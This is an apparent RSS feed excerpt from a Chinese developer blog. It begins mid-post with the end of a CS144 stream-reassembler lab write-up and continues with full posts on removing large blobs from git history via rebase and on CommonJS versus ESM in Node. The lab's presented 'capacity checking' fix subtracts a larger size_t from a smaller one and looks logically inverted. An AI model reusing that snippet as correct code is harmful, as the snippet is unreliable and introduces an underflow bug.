&lt;h3&gt;违反容量规定&lt;/h3&gt;
&lt;p&gt;比如在插进去的时候用 substr 来保证不超过大小，虽然 buffer 不会超出大小，但是 aux_storage 已经超出了！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (auto it = _aux_storage.begin(); it != _aux_storage.end();) {
  if (it-&amp;gt;index_start &amp;lt;= _first_unassembled &amp;amp;&amp;amp; it-&amp;gt;index_end &amp;gt;= _first_unassembled) {
      auto _node = *it;

      _first_unassembled += _output.write(_node.data.substr(_first_unassembled - it-&amp;gt;index_start));

      // TODO if data in a node are fully written
      if (it-&amp;gt;index_end + 1 == _first_unassembled) {
          it = _aux_storage.erase(it);
      } else {
          it++;
      }
  } else if (it-&amp;gt;index_start &amp;gt; _first_unassembled) {
      break;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我就说为什么我不用在开头处检查容量也能通过所有测试&lt;/p&gt;
&lt;p&gt;后来加上当前容量的检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// capacity checking. bytes that exceed the capacity will be silently discard
size_t used_size = _output.buffer_size() + unassembled_bytes();
if (used_size &amp;gt; _capacity) {
  size_t remaining_size = _capacity - used_size;
  if (str.size() &amp;gt; remaining_size) {
      str.erase(0, remaining_size);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再把写 buffer 的循环更改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// push substring into
for (auto it = _aux_storage.begin(); it != _aux_storage.end();) {
  if (it-&amp;gt;index_start &amp;lt;= _first_unassembled) {
      _first_unassembled += _output.write(it-&amp;gt;data);

      it = _aux_storage.erase(it);
  } else {
      break;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可修复这一个测试不出错但实际会违反规则的问题&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;呼呼呼地，花了一个晚上和一个下午，将近 8 小时的激情写代码与调试，终于把这个实验给肝出来了&lt;/p&gt;
&lt;p&gt;然后再做完 lab 之后的几天看 OSTEP 的 scheduler 的时候，读到 Linux 的 CFS 的时候，突然发现了（火星了），论如何快速地维护一堆节点使其有序排序，还能进行快速查找，定位到某个节点，可以用到红黑树。而更令人感慨的是，C++中的&lt;code&gt;std::set&lt;/code&gt;，内部实现就是红黑树。。。&lt;/p&gt;
&lt;p&gt;当时的我，内心一万匹草泥马踏过，我哭了，还是自己太菜了，居然沦落到手动维护链表有序的地步...&lt;/p&gt;
&lt;p&gt;主要是红黑树的查找的时间复杂度比我手动维护的链表的要好很多，时间复杂度是&lt;code&gt;O(logN)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果要对我自己的代码进行重构的话，主要是加入搜索部分，直接定位到与现有 node 的 index 差不多的 node 的附近，再开始进行比较操作&lt;/p&gt;
&lt;p&gt;因此，我去网上找了一下，发现大伙们大多数都是用&lt;code&gt;std::set&lt;/code&gt;的，这里放一个上网看到的大佬的&lt;a href=&quot;https://www.cnblogs.com/kangyupl/p/stanford_cs144_labs.html&quot;&gt;博客文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是从我实现的数据结构的测试结果来看（这是在腾讯云的轻量服务器跑的）并没有很严重的性能问题（实验在 FAQ 中要求是每一个测试都要小于 500ms）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  build git:(main) make check_lab1
[100%] Testing the stream reassembler...
Test project /home/ubuntu/lab-computer-network/build
      Start 18: t_strm_reassem_single
 1/16 Test #18: t_strm_reassem_single ............   Passed    0.00 sec
      Start 19: t_strm_reassem_seq
 2/16 Test #19: t_strm_reassem_seq ...............   Passed    0.00 sec
      Start 20: t_strm_reassem_dup
 3/16 Test #20: t_strm_reassem_dup ...............   Passed    0.01 sec
      Start 21: t_strm_reassem_holes
 4/16 Test #21: t_strm_reassem_holes .............   Passed    0.00 sec
      Start 22: t_strm_reassem_many
 5/16 Test #22: t_strm_reassem_many ..............   Passed    0.07 sec
      Start 23: t_strm_reassem_overlapping
 6/16 Test #23: t_strm_reassem_overlapping .......   Passed    0.00 sec
      Start 24: t_strm_reassem_win
 7/16 Test #24: t_strm_reassem_win ...............   Passed    0.07 sec
      Start 25: t_strm_reassem_cap
 8/16 Test #25: t_strm_reassem_cap ...............   Passed    0.09 sec
      Start 26: t_byte_stream_construction
 9/16 Test #26: t_byte_stream_construction .......   Passed    0.00 sec
      Start 27: t_byte_stream_one_write
10/16 Test #27: t_byte_stream_one_write ..........   Passed    0.00 sec
      Start 28: t_byte_stream_two_writes
11/16 Test #28: t_byte_stream_two_writes .........   Passed    0.00 sec
      Start 29: t_byte_stream_capacity
12/16 Test #29: t_byte_stream_capacity ...........   Passed    0.49 sec
      Start 30: t_byte_stream_many_writes
13/16 Test #30: t_byte_stream_many_writes ........   Passed    0.01 sec
      Start 53: t_address_dt
14/16 Test #53: t_address_dt .....................   Passed    0.00 sec
      Start 54: t_parser_dt
15/16 Test #54: t_parser_dt ......................   Passed    0.00 sec
      Start 55: t_socket_dt
16/16 Test #55: t_socket_dt ......................   Passed    0.00 sec

100% tests passed, 0 tests failed out of 16

Total Test time (real) =   0.77 sec
[100%] Built target check_lab1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;额从这个结果看来 lab0 后期很可能会出现瓶颈&lt;/p&gt;
&lt;p&gt;真出现了瓶颈再优化吧&lt;/p&gt;
</content:encoded><category>Lab</category></item><item><title>将无用的大文件从git仓库中删除</title><link>https://situ2001.com/blog/git/git-remove-large-blob/</link><guid isPermaLink="true">https://situ2001.com/blog/git/git-remove-large-blob/</guid><description>commit一时爽，事后火葬场</description><pubDate>Mon, 04 Apr 2022 05:45:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;在合并了某个学弟提交的 PR 之后，我发现仓库的体积，变大了非常非常多。。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop$ git clone https://github.com/situ2001/gzhu_no_clock_in
Cloning into &apos;gzhu_no_clock_in&apos;...
remote: Enumerating objects: 386, done.
remote: Counting objects: 100% (386/386), done.
remote: Compressing objects: 100% (240/240), done.
remote: Total 386 (delta 210), reused 251 (delta 106), pack-reused 0
Receiving objects: 100% (386/386), 37.43 MiB | 5.52 MiB/s, done.
Resolving deltas: 100% (210/210), done.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这给我的第一直觉是，学弟一定往仓库上面 commit 了什么硕大的二进制文件。&lt;/p&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;我们先使用命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git ls-tree -r -t -l --full-name HEAD | sort -n -r -k 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看看当前的工作目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;100644 blob 19897b567bbdeb4c0745841a79a7f77e893679f5   34034    des.py
100644 blob 0c6b6aa7103b83fcdc1fa00aae2567a00ff89db4    4022    run.py
100644 blob 64f1d0e7348039d96ce6a2bb2217082935be896e    2526    clock_in.py
100644 blob 78f639c33a4bd3661edcfdcfc5ae5252d27ebe28    2265    README.md
100644 blob daa3a8db23f26e9c4f61f505a8254b31f128508c    1065    LICENSE
100644 blob 7456319f2fcbbadcc4ea7197407f468bc7ed82ae    1042    login_new.py
100644 blob 334119ed9a7436aa4bb382892c13dddf7564c183    1020    msession.py
100644 blob fb60aa156642321388f9c890191d59d354ffc68b      73    requirements.txt
100644 blob d206d128b235e5bbbe52cfbbda3f1cb46b60cb72      47    .gitignore
100644 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391       0    stu_id.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并没有没有什么大文件。猜测是学弟把这个文件给删除了，然后把删除了这个文件的修改给 commit 了。&lt;/p&gt;
&lt;p&gt;使用如下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rev-list --objects --all | git cat-file --batch-check=&apos;%(objecttype) %(objectname) %(objectsize) %(rest)&apos; | sed -n &apos;s/^blob //p&apos; | sort -n -r -k 2 | head -n 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可得到该 git 仓库下，最大的 10 个 blob 与其文件名如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4df0f91922c9ca62aaf7a9d2181124308945ec48 14544478 run-amd64-linux.tar.gz
9f6913f74af3732fbdc314fc4c3f4c7728aeb7d0 14233021 run-x86-windows.tar..gz
8f335bec6eaab6c835a558be9d98d9ac9920b1fe 10106361 run-aarch64-linux.tar.gz
f2943c6d4688b1363d82ba4e7b9d6894b7c50e6d 108973 img/set_secrets.png
ed6a321c340f71711df17c7a068f685740bc24c1 103346 img/run_workflow.png
51b1ab52c0369ebea0cb3bfbb19a6929352bc559 97027 img/enable_or_disable_action.png
19897b567bbdeb4c0745841a79a7f77e893679f5 34034 des.py
03c997793074c33cfffbb0d99816bc010b4134c0 28898 login_new.py
16b6c7a7d7bccfbfede77e4c5b9811d4b68a9962 28876 login_new.py
df1fbe8e2bc860b181e1cebd96142c3e5726a212 28868 login_new.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好家伙，是几个压缩包，但是这几个 blob，在当前的 working directory 下都没有出现。那我们得看看这个 blob object 到底是给哪些个 commit 给引用的&lt;/p&gt;
&lt;p&gt;使用命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git log --follow -- run-amd64-linux.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 01adb1f123b6da67b09153a85e9583233a3aa4d2
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 17:51:41 2022 +0800

    Delete run-amd64-linux.tar.gz

commit ab71f443fbd348f2d5e21f35f610bdbc57b81e75
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 17:48:02 2022 +0800

    Add files via upload

    2022-03-26编译
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再结合 commit message 看看。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit fce40b2077bea4d67589596422dad647a6d2b159
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 17:51:51 2022 +0800

    Delete run-x86-windows.tar..gz

commit 01adb1f123b6da67b09153a85e9583233a3aa4d2
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 17:51:41 2022 +0800

    Delete run-amd64-linux.tar.gz

commit bddc02913288375f5037e15eff4f169e4c6a8b32
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 17:51:29 2022 +0800

    Delete run-aarch64-linux.tar.gz

commit ab71f443fbd348f2d5e21f35f610bdbc57b81e75
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 17:48:02 2022 +0800

    Add files via upload

    2022-03-26编译
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好家伙，果然是 commit 后删除了又 commit。。。还传了两个其他文件上来，commit 了又 commit 了一个删除。。。（&lt;s&gt;好家伙怎么还有一个&lt;code&gt;.tar..gz&lt;/code&gt;格式的文件&lt;/s&gt;）&lt;/p&gt;
&lt;p&gt;那么目标就已经很明确了，我们得让这个 blob object 不被任何 commit 所引用，那么大致的思路就有了，那就是：&lt;strong&gt;rebase&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;rebase 的时候把这四个 commit 给 drop 掉就行了&lt;/p&gt;
&lt;h2&gt;操作&lt;/h2&gt;
&lt;p&gt;那么事不宜迟，我们开始操作&lt;/p&gt;
&lt;p&gt;首先确保没有什么人在这个仓库上没有其他人在进行合作，&lt;s&gt;就一个小脚本怎么会有人跟我协同合作呢&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;先找出要 rebase to 的 commit，上文的 commit 的前一个 commit 是这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit ccd9936a442848bb8aa40f5c3fd1836a065bf529
Author: when-hao &amp;lt;72253870+when-hao@users.noreply.github.com&amp;gt;
Date:   Sat Mar 26 11:54:38 2022 +0800

    Update README.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;知道了 commit 的 SHA，我们便可以用 git 的 interactive rebase 进行操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase -i ccd9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令表示将 ccd9 前面的 commit 给 rebase 到 ccd9 上面&lt;/p&gt;
&lt;p&gt;执行之后出现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pick ab71f44 Add files via upload
pick bddc029 Delete run-aarch64-linux.tar.gz
pick 01adb1f Delete run-amd64-linux.tar.gz
pick fce40b2 Delete run-x86-windows.tar..gz
pick 9f0fdf9 Update README.md
pick ae1eab0 Add files via upload
pick 3dd8789 Add files via upload
pick 8a280f6 Update README.md
pick 88687f4 Update README.md
pick 9512df7 Update run.py
pick d095e77 Update run.py
pick 85fb9d7 Update run.py
pick 1ce6bb2 Update README.md
pick a7da424 Update auto_clockin.yml
pick a389cb5 add form data entity
pick 5675e0a add telegram push
pick a842250 add telegram push
pick f04fa5b bug fix
pick a9db8d8 push bug fix
pick 78bfea6 update readme
pick 82ce174 modified counter
pick 28a3eed move TG_HTTP_PROXY to env
pick 31e85ad refactor: format `README.md`
pick 3bb0032 try to increase timeout
pick 3438c53 delete: action workflows
pick 5e46179 docs: update README

# Rebase ccd9936..5e46179 onto ccd9936 (26 commands)
#
# Commands:
# p, pick &amp;lt;commit&amp;gt; = use commit
# r, reword &amp;lt;commit&amp;gt; = use commit, but edit the commit message
# e, edit &amp;lt;commit&amp;gt; = use commit, but stop for amending
# s, squash &amp;lt;commit&amp;gt; = use commit, but meld into previous commit
# f, fixup [-C | -c] &amp;lt;commit&amp;gt; = like &quot;squash&quot; but keep only the previous
#                    commit&apos;s log message, unless -C is used, in which case
#                    keep only this commit&apos;s message; -c is same as -C but
#                    opens the editor
# x, exec &amp;lt;command&amp;gt; = run command (the rest of the line) using shell
# b, break = stop here (continue rebase later with &apos;git rebase --continue&apos;)
# d, drop &amp;lt;commit&amp;gt; = remove commit
# l, label &amp;lt;label&amp;gt; = label current HEAD with a name
# t, reset &amp;lt;label&amp;gt; = reset HEAD to a label
# m, merge [-C &amp;lt;commit&amp;gt; | -c &amp;lt;commit&amp;gt;] &amp;lt;label&amp;gt; [# &amp;lt;oneline&amp;gt;]
# .       create a merge commit using the original merge commit&apos;s
# .       message (or the oneline, if no original merge commit was
# .       specified); use -c &amp;lt;commit&amp;gt; to reword the commit message
#
# These lines can be re-ordered; they are executed from top to bottom.
#
# If you remove a line here THAT COMMIT WILL BE LOST.
#
# However, if you remove everything, the rebase will be aborted.
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据指示，我们应该把不要的 commit 给 drop 掉，将&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pick ab71f44 Add files via upload
pick bddc029 Delete run-aarch64-linux.tar.gz
pick 01adb1f Delete run-amd64-linux.tar.gz
pick fce40b2 Delete run-x86-windows.tar..gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;drop ab71f44 Add files via upload
drop bddc029 Delete run-aarch64-linux.tar.gz
drop 01adb1f Delete run-amd64-linux.tar.gz
drop fce40b2 Delete run-x86-windows.tar..gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存，关闭编辑器，完成本次 rebase 工作&lt;/p&gt;
&lt;p&gt;这个时候的 git status 就变为了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;On branch main
Your branch and &apos;origin/main&apos; have diverged,
and have 22 and 27 different commits each, respectively.
  (use &quot;git pull&quot; to merge the remote branch into yours)

nothing to commit, working tree clean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 force push 一波，便得到了解决&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(base) PS C:\Users\situ\github\gzhu_no_clock_in&amp;gt; git push -f
Enumerating objects: 78, done.
Counting objects: 100% (78/78), done.
Delta compression using up to 16 threads
Compressing objects: 100% (52/52), done.
Writing objects: 100% (70/70), 9.69 KiB | 2.42 MiB/s, done.
Total 70 (delta 44), reused 18 (delta 16), pack-reused 0
remote: Resolving deltas: 100% (44/44), completed with 5 local objects.
To https://github.com/situ2001/gzhu_no_clock_in.git
 + 5e46179...9ed00dc main -&amp;gt; main (forced update)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他地方拉下来的就会是这样（会与本地仓库进行 merge）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop/gzhu_no_clock_in$ git pull
remote: Enumerating objects: 78, done.
remote: Counting objects: 100% (78/78), done.
remote: Compressing objects: 100% (24/24), done.
remote: Total 70 (delta 45), reused 69 (delta 44), pack-reused 0
Unpacking objects: 100% (70/70), 9.44 KiB | 1.35 MiB/s, done.
From https://github.com/situ2001/gzhu_no_clock_in
 + 5e46179...9ed00dc main       -&amp;gt; origin/main  (forced update)
Merge made by the &apos;recursive&apos; strategy.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，远程仓库已经瘦身了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop$ git clone https://github.com/situ2001/gzhu_no_clock_in
Cloning into &apos;gzhu_no_clock_in&apos;...
remote: Enumerating objects: 375, done.
remote: Counting objects: 100% (375/375), done.
remote: Compressing objects: 100% (201/201), done.
remote: Total 375 (delta 208), reused 294 (delta 134), pack-reused 0
Receiving objects: 100% (375/375), 334.02 KiB | 2.76 MiB/s, done.
Resolving deltas: 100% (208/208), done.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;里头已经没有了这几个 blob 的存在&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;git 用作版本控制固然好用，但 git 好用的前提是，你得做一个合格的 git 使用者，不然的话，很容易用出一言难尽的体验&lt;/p&gt;
</content:encoded><category>git</category></item><item><title>CJS和ESM</title><link>https://situ2001.com/blog/javascript/cjs-vs-esm/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/cjs-vs-esm/</guid><description>CommonJS 和 ESM 的一些区别</description><pubDate>Thu, 31 Mar 2022 02:15:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;最近在做的一个 nest.js 项目，其中遇到了不同标准的模块共用的“坑”。&lt;/p&gt;
&lt;p&gt;比如我要使用 &lt;code&gt;unified&lt;/code&gt; 这个模块及其生态来解析 markdown 文件，但是这个模块呢，它写明了 &lt;strong&gt;ESM-only&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;由于该 nest 项目的&lt;code&gt;package.json&lt;/code&gt;的 type 不是&lt;code&gt;type: &quot;module&quot;&lt;/code&gt;,如果直接使用的话就会报错如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const unified_1 = require(&quot;unified&quot;);
                  ^
Error [ERR_REQUIRE_ESM]: require() of ES Module node_modules\unified\index.js from xxx.service.js not supported.
Instead change the require of index.js in xxx.js to a dynamic import() which is available in all CommonJS modules.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据错误提示，我去翻了一下，看到在 Node12 之后，支持了 ESM 的 dynamic import。也就是说，我们可以如下导入 ESM&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { foo } = await import(&quot;npm-package&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我尝试改一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { unified } = await import(&quot;unified&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但还是报错了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xxx.service.js:41
    const { unified } = await Promise.resolve().then(() =&amp;gt; require(&apos;unified&apos;));
                            ^
Error [ERR_REQUIRE_ESM]: require() of ES Module node_modules\unified\index.js from xxx.service.js not supported.
Instead change the require of index.js in xxx.service.js to a dynamic import() which is available in all CommonJS modules.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我看一看 TypeScript 到底被编译成了什么&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { unified } = await Promise.resolve().then(() =&amp;gt; require(&quot;unified&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;emm...编译之后的 js 代码还是 用了&lt;code&gt;require()&lt;/code&gt; 来导入 ESM，那有什么办法让它不把 dynamic import 给转译到 &lt;code&gt;require()&lt;/code&gt; 吗？&lt;/p&gt;
&lt;p&gt;应该是 tsconfig 的问题，上网找了一下，发现了这个 &lt;a href=&quot;https://github.com/microsoft/TypeScript/issues/43329&quot;&gt;issue&lt;/a&gt; 下&lt;s&gt;也有不少 campaign&lt;/s&gt;，不过细看可以发现，在 Typescript4.5 之后支持了一个新的特性：&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-5-beta/&quot;&gt;ECMAScript Module Support in Node.js&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;即可以在 &lt;code&gt;&quot;type&quot;: &quot;commonjs&quot;&lt;/code&gt; 的 Node 项目里头同时支持 CommonJS 与 ESM，我们只需要在 tsconfig 里头更改如下即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;compilerOptions&quot;: {
    &quot;module&quot;: &quot;node12&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后编译的产物如下，这个 ESM-only 的模块就能正常使用了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { unified } = await import(&quot;unified&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;两者的区别&lt;/h2&gt;
&lt;p&gt;在此坑出现之前，我对 CommonJS 和 ESM 的概念，并没有认识太多，只有：CommonJS 是 Node 的模块规范，ESM 是 ES 的模块规范，后者的出现，代表着模块终于被作为 ES 的核心特性了。&lt;/p&gt;
&lt;p&gt;Node 和 ESM 对于模块的主要定义是差不多的，即每一个文件都是一个拥有&lt;strong&gt;私有命名空间&lt;/strong&gt;的独立模块，模块也有作用域，是模块文件本身。&lt;/p&gt;
&lt;p&gt;我们在在文件里头定义的变量、常量、函数和类都是私有的，除非它们被显式地导出。&lt;/p&gt;
&lt;p&gt;接下来，它们主要的区别就是导入导出的 syntax 了。&lt;/p&gt;
&lt;p&gt;CommonJS 的导入，它在 node 中是使用 &lt;code&gt;require()&lt;/code&gt; 导入的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const fs = require(&quot;fs&quot;);
const foo = require(&quot;./foo.js&quot;);
// or
const { sum } = require(&quot;./foo.js&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导出，通过设置全局 Export 对象的属性或者完全替换 module.export 对象，来导出公共 API&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 直接设置全局 exports 对象的属性
exports.foo = () =&amp;gt; console.log(&quot;Hello from foo&quot;);
exports.bar = () =&amp;gt; exports.foo();

// 或者直接设置模块的默认导出
module.exports = /** class, function, variable */
// or export as an object
const sum = (x, y) =&amp;gt; x + y;
const avg = (x, y) =&amp;gt; (x + y) / 2;
module.exports = { sum, avg };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们在一个文件中，导入的 ESM 的值的标识符都是&lt;strong&gt;常量&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;导入只能在模块的顶层导入（动态导入除外），&lt;strong&gt;并且&lt;/strong&gt;要是一个带 &lt;code&gt;/&lt;/code&gt; 的绝对路径或者开头为 &lt;code&gt;./&lt;/code&gt; &lt;code&gt;../&lt;/code&gt; 的相对路径，这样做可以避免歧义。&lt;/p&gt;
&lt;p&gt;导入的函数也是会被“提升”到顶部的。&lt;/p&gt;
&lt;p&gt;我们还可以导入一个没有任何导出的模块，一般用途是执行一个模块里头的代码（比如注册一些事件啥的）&lt;/p&gt;
&lt;p&gt;并且，我们还能对导入进来的标识符进行重命名。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import foo from &quot;./foo.js&quot;;
import { sum } from &quot;./foo.js&quot;;
import Bar, { sum, avg } from &quot;./foo.js&quot;;
import * as util from &quot;./foo.js&quot;;
// 导入一个没有任何导出的函数
import &quot;./foo.js&quot;;
// 重命名
import { sum as s } from &quot;./foo.js&quot;;
import { default as Foo, avg } from &quot;./foo.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导出也可以导出变量、常量、函数和类，模块只能有一个默认导出，以及多个常规导出。ESM 的 export 关键字&lt;strong&gt;只能&lt;/strong&gt;出现在 JS 代码的顶层，即不能出现在函数，类，块里头。对导出的标识符，我们也可以进行重命名。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class Bar {}

// OR
export default class Bar {}
const sum = (x, y) =&amp;gt; x + y;
const avg = (x, y) =&amp;gt; (x + y) / 2;
export { sum, avg };
export * from &quot;./bar.js&quot;;
export { mean } from &quot;./bar.js&quot;;
export { sum as s };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ESM 还有一个特性就是&lt;code&gt;import.meta&lt;/code&gt;这个特殊的语法，它引用了一个特殊的对象，这个对象包含了当前执行模块的元数据，经常用到的有&lt;code&gt;import.meta.url&lt;/code&gt;即加载模块时使用的 URL(类比一下 Node 模块的&lt;code&gt;__dirname&lt;/code&gt;)&lt;/p&gt;
&lt;h3&gt;动态导入&lt;/h3&gt;
&lt;p&gt;ESM 和 CommonJS 的导入和导出都是静态的，ES2020 又把动态导入加了进来，ESM 可以被异步地动态导入，使用&lt;code&gt;import()&lt;/code&gt;，值得注意的是这个是一个&lt;strong&gt;操作符&lt;/strong&gt;，不是函数！&lt;/p&gt;
&lt;p&gt;比如我们本来就可以静态导入一个对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { avg } from &quot;./foo.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而现在我们现在还可以动态地导入一个对象了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import(&quot;./foo.js&quot;).then((foo) =&amp;gt; {
  let meanValue = foo.avg(n1, n2);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有更多的细节可以看看&lt;a href=&quot;https://nodejs.org/api/esm.html#esm_differences_between_es_modules_and_commonjs&quot;&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;做一个 Pure ESM&lt;/h2&gt;
&lt;p&gt;那么问题来了，前言中提到的这个包，它是怎么样实现 ESM-only 的呢？&lt;/p&gt;
&lt;p&gt;&lt;s&gt;如果是新建一个的话，其实很简单&lt;/s&gt;，如果不是，还要考虑如 tsconfig.json 的配置，更改模块内的 import 的 syntax，可以参考这个&lt;a href=&quot;https://gist.github.com/sindresorhus/a39789f98801d908bbc7ff3ecc99d99c&quot;&gt;gist&lt;/a&gt;，写得很详细&lt;/p&gt;
&lt;p&gt;把这个模块中的 CommonJS 的 export 给去掉，换成 ESM 的 export，再把 &lt;code&gt;package.json&lt;/code&gt; 的 &lt;code&gt;type&lt;/code&gt; 给改成 &lt;code&gt;module&lt;/code&gt;，以及将 &lt;code&gt;main&lt;/code&gt; 改为 &lt;code&gt;exports&lt;/code&gt; 即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function hello(name) {
  console.log(`Hello, ${name}`);
}

export { hello };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改 &lt;code&gt;package.json&lt;/code&gt; 的 &lt;code&gt;type&lt;/code&gt; 以及将 &lt;code&gt;main&lt;/code&gt; 改为 &lt;code&gt;exports&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;exports&quot;: &quot;./index.js&quot;,
&quot;type&quot;: &quot;module&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这下我们在一个 CommonJS 项目中直接导入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { hello } = require(&quot;../esm-only-package&quot;);

hello(&quot;situ2001&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { hello } = require(&apos;../esm-only-package&apos;);
                  ^

Error [ERR_REQUIRE_ESM]: require() of ES Module C:\Users\situ\Desktop\tmp\esm-only-package\index.js from C:\Users\situ\Desktop\tmp\node-test\index.js not supported.
Instead change the require of C:\Users\situ\Desktop\tmp\esm-only-package\index.js in C:\Users\situ\Desktop\tmp\node-test\index.js to a dynamic import() which is available in all CommonJS modules.
    at Object.&amp;lt;anonymous&amp;gt; (C:\Users\situ\Desktop\tmp\node-test\index.js:1:19) {
  code: &apos;ERR_REQUIRE_ESM&apos;
}
&lt;/code&gt;&lt;/pre&gt;
